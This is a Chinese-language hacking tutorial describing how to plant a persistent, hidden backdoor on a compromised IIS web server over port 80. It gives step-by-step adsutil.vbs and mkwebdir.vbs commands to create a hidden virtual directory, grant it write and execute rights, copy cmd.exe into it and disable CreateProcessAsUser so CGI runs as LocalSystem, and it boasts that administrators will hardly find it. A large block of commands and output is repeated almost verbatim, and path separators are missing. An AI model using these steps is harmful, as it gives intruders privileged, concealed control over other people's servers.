真正的IIS永远的后门解密
IIS是比较流行的www服务器,设置不当漏洞就很多。入侵iis服务器后留下后门,以后就可以随时控制。一般的后门程序都是打开一个特殊的端口来监听,比如有nc,ntlm,rnc等等都是以一种类telnet的方式在服务器端监听远程的连接控制。不过一个比较防范严密的www站点(他们的管理员吃了苦头后)一般通过防火墙对端口进行限制,这样除了管理员开的端口外,其他端口就不能连接了。但是80端口是不可能关闭的(如果管理员没有吃错药)。那么我们可以通过在80端口留后门,来开启永远的后门。
当IIS启动CGI应用程序时,缺省用CreateProcessAsUser API来创建该CGI的新Process,该程序的安全上下文就由启动该CGI的用户决定。一般匿名用户都映射到IUSR_computername这个账号,当然可以由管理员改为其他的用户。或者由浏览器提供一个合法的用户。两者的用户的权限都是比较低,可能都属于guest组的成员。其实我们可以修改iis开启CGI的方式,来提高权限。我们来看iis主进程本身是运行在localsystem账号下的,所以我们就可以得到最高localsystem的权限。
入侵web服务器后,一般都可以绑定一个cmd到一个端口来远程控制该服务器。这时可以有GUI的远程控制,比如3389,或者类telnet text方式的控制,比如rnc。nc肯定是可以用的,其实这也足够了。
1. telnet到服务器
2. cscript.exe adsutil.vbs enum w3svc/1/root
KeyType : (STRING) "IIsWebVirtualDir"
AppRoot : (STRING) "/LM/W3SVC/1/ROOT"
AppFriendlyName : (STRING) "默认应用程序"
AppIsolated : (INTEGER) 2
AccessRead : (BOOLEAN) True
AccessWrite : (BOOLEAN) False
AccessExecute : (BOOLEAN) False
AccessScript : (BOOLEAN) True
AccessSource : (BOOLEAN) False
AccessNoRemoteRead : (BOOLEAN) False
AccessNoRemoteWrite : (BOOLEAN) False
AccessNoRemoteExecute : (BOOLEAN) False
AccessNoRemoteScript : (BOOLEAN) False
HttpErrors : (LIST) (32 Items)
"400,*,FILE,C:WINNThelpiisHelpcommon400.htm"
"401,1,FILE,C:WINNThelpiisHelpcommon401-1.htm"
"401,2,FILE,C:WINNThelpiisHelpcommon401-2.htm"
"401,3,FILE,C:WINNThelpiisHelpcommon401-3.htm"
"401,4,FILE,C:WINNThelpiisHelpcommon401-4.htm"
"401,5,FILE,C:WINNThelpiisHelpcommon401-5.htm"
"403,1,FILE,C:WINNThelpiisHelpcommon403-1.htm"
"403,2,FILE,C:WINNThelpiisHelpcommon403-2.htm"
"403,3,FILE,C:WINNThelpiisHelpcommon403-3.htm"
"403,4,FILE,C:WINNThelpiisHelpcommon403-4.htm"
"403,5,FILE,C:WINNThelpiisHelpcommon403-5.htm"
"403,6,FILE,C:WINNThelpiisHelpcommon403-6.htm"
"403,7,FILE,C:WINNThelpiisHelpcommon403-7.htm"
"403,8,FILE,C:WINNThelpiisHelpcommon403-8.htm"
"403,9,FILE,C:WINNThelpiisHelpcommon403-9.htm"
"403,10,FILE,C:WINNThelpiisHelpcommon403-10.htm"
"403,11,FILE,C:WINNThelpiisHelpcommon403-11.htm"
"403,12,FILE,C:WINNThelpiisHelpcommon403-12.htm"
"403,13,FILE,C:WINNThelpiisHelpcommon403-13.htm"
"403,15,FILE,C:WINNThelpiisHelpcommon403-15.htm"
"403,16,FILE,C:WINNThelpiisHelpcommon403-16.htm"
"403,17,FILE,C:WINNThelpiisHelpcommon403-17.htm"
"404,*,FILE,C:WINNThelpiisHelpcommon404b.htm"
"405,*,FILE,C:WINNThelpiisHelpcommon405.htm"
"406,*,FILE,C:WINNThelpiisHelpcommon406.htm"
"407,*,FILE,C:WINNThelpiisHelpcommon407.htm"
"412,*,FILE,C:WINNThelpiisHelpcommon412.htm"
"414,*,FILE,C:WINNThelpiisHelpcommon414.htm"
"500,12,FILE,C:WINNThelpiisHelpcommon500-12.htm"
"500,13,FILE,C:WINNThelpiisHelpcommon500-13.htm"
"500,15,FILE,C:WINNThelpiisHelpcommon500-15.htm"
"500,100,URL,/iisHelp/common/500-100.asp" FrontPageWeb : (BOOLEAN) True
Path : (STRING) "c:inetpubwwwroot"
AccessFlags : (INTEGER) 513
[/w3svc/1/root/localstart.asp]
[/w3svc/1/root/_vti_pvt]
[/w3svc/1/root/_vti_log]
[/w3svc/1/root/_private]
[/w3svc/1/root/_vti_txt]
[/w3svc/1/root/_vti_script]
[/w3svc/1/root/_vti_cnf]
[/w3svc/1/root/_vti_bin] 不要告诉我你不知道上面的输出是什么!!!! 现在我们心里已经有底了,是不是!呵呵 管理员要倒霉了
3. mkdir c:inetpubwwwrootdir1
4. cscript.exe mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "Virtual Dir1","c:inetpubwwwrootdir1" 这样就建好了一个虚目录:Virtual Dir1 你可以用 1 的命令看一下 5. 接下来要改变一下Virtual Dir1的属性为execute cscript.exe adsutil.vbs set w3svc/1/root/Virtual Dir1/accesswrite "true" -s:
cscript.exe adsutil.vbs set w3svc/1/root/Virtual Dir1/accessexecute "true" -s: 现在你已经可以upload 内容到该目录,并且可以运行。你也可以把cmd.exe net.exe直接拷贝到虚拟目录的磁盘目录中。 6. 以下命令通过修改iis metabase 来迫使iis以本身的安全环境来创建新的CGI process Cscript adsutil.vbs set /w3svc/1/root/[your directory]/createprocessasuser false 注释:cscript windows script host. adsutil.vbs windows iis administration script 后面是 iis metabase path 这样的后门几乎是无法查出来的,除非把所有的虚目录察看一遍(如果管理员写好了遗书,那他就去查吧)
AppRoot : (STRING) "/LM/W3SVC/1/ROOT"
AppFriendlyName : (STRING) "默认应用程序"
AppIsolated : (INTEGER) 2
AccessRead : (BOOLEAN) True
AccessWrite : (BOOLEAN) False
AccessExecute : (BOOLEAN) False
AccessScript : (BOOLEAN) True
AccessSource : (BOOLEAN) False
AccessNoRemoteRead : (BOOLEAN) False
AccessNoRemoteWrite : (BOOLEAN) False
AccessNoRemoteExecute : (BOOLEAN) False
AccessNoRemoteScript : (BOOLEAN) False
HttpErrors : (LIST) (32 Items)
"400,*,FILE,C:WINNThelpiisHelpcommon400.htm"
"401,1,FILE,C:WINNThelpiisHelpcommon401-1.htm"
"401,2,FILE,C:WINNThelpiisHelpcommon401-2.htm"
"401,3,FILE,C:WINNThelpiisHelpcommon401-3.htm"
"401,4,FILE,C:WINNThelpiisHelpcommon401-4.htm"
"401,5,FILE,C:WINNThelpiisHelpcommon401-5.htm"
"403,1,FILE,C:WINNThelpiisHelpcommon403-1.htm"
"403,2,FILE,C:WINNThelpiisHelpcommon403-2.htm"
"403,3,FILE,C:WINNThelpiisHelpcommon403-3.htm"
"403,4,FILE,C:WINNThelpiisHelpcommon403-4.htm"
"403,5,FILE,C:WINNThelpiisHelpcommon403-5.htm"
"403,6,FILE,C:WINNThelpiisHelpcommon403-6.htm"
"403,7,FILE,C:WINNThelpiisHelpcommon403-7.htm"
"403,8,FILE,C:WINNThelpiisHelpcommon403-8.htm"
"403,9,FILE,C:WINNThelpiisHelpcommon403-9.htm"
"403,10,FILE,C:WINNThelpiisHelpcommon403-10.htm"
"403,11,FILE,C:WINNThelpiisHelpcommon403-11.htm"
"403,12,FILE,C:WINNThelpiisHelpcommon403-12.htm"
"403,13,FILE,C:WINNThelpiisHelpcommon403-13.htm"
"403,15,FILE,C:WINNThelpiisHelpcommon403-15.htm"
"403,16,FILE,C:WINNThelpiisHelpcommon403-16.htm"
"403,17,FILE,C:WINNThelpiisHelpcommon403-17.htm"
"404,*,FILE,C:WINNThelpiisHelpcommon404b.htm"
"405,*,FILE,C:WINNThelpiisHelpcommon405.htm"
"406,*,FILE,C:WINNThelpiisHelpcommon406.htm"
"407,*,FILE,C:WINNThelpiisHelpcommon407.htm"
"412,*,FILE,C:WINNThelpiisHelpcommon412.htm"
"414,*,FILE,C:WINNThelpiisHelpcommon414.htm"
"500,12,FILE,C:WINNThelpiisHelpcommon500-12.htm"
"500,13,FILE,C:WINNThelpiisHelpcommon500-13.htm"
"500,15,FILE,C:WINNThelpiisHelpcommon500-15.htm"
"500,100,URL,/iisHelp/common/500-100.asp" FrontPageWeb : (BOOLEAN) True
Path : (STRING) "c:inetpubwwwroot"
AccessFlags : (INTEGER) 513
[/w3svc/1/root/localstart.asp]
[/w3svc/1/root/_vti_pvt]
[/w3svc/1/root/_vti_log]
[/w3svc/1/root/_private]
[/w3svc/1/root/_vti_txt]
[/w3svc/1/root/_vti_script]
[/w3svc/1/root/_vti_cnf]
[/w3svc/1/root/_vti_bin] 不要告诉我你不知道上面的输出是什么!!!! 现在我们心里已经有底了,是不是!呵呵 管理员要倒霉了
3. mkdir c:inetpubwwwrootdir1
4. cscript.exe mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "Virtual Dir1","c:inetpubwwwrootdir1" 这样就建好了一个虚目录:Virtual Dir1 你可以用 1 的命令看一下 5. 接下来要改变一下Virtual Dir1的属性为execute cscript.exe adsutil.vbs set w3svc/1/root/Virtual Dir1/accesswrite "true" -s:
cscript.exe adsutil.vbs set w3svc/1/root/Virtual Dir1/accessexecute "true" -s: 现在你已经可以upload 内容到该目录,并且可以运行。你也可以把cmd.exe net.exe直接拷贝到虚拟目录的磁盘目录中。 6. 以下命令通过修改iis metabase 来迫使iis以本身的安全环境来创建新的CGI process Cscript adsutil.vbs set /w3svc/1/root/[your directory]/createprocessasuser false 注释:cscript windows script host. adsutil.vbs windows iis administration script 后面是 iis metabase path 这样的后门几乎是无法查出来的,除非把所有的虚目录察看一遍(如果管理员写好了遗书,那他就去查吧)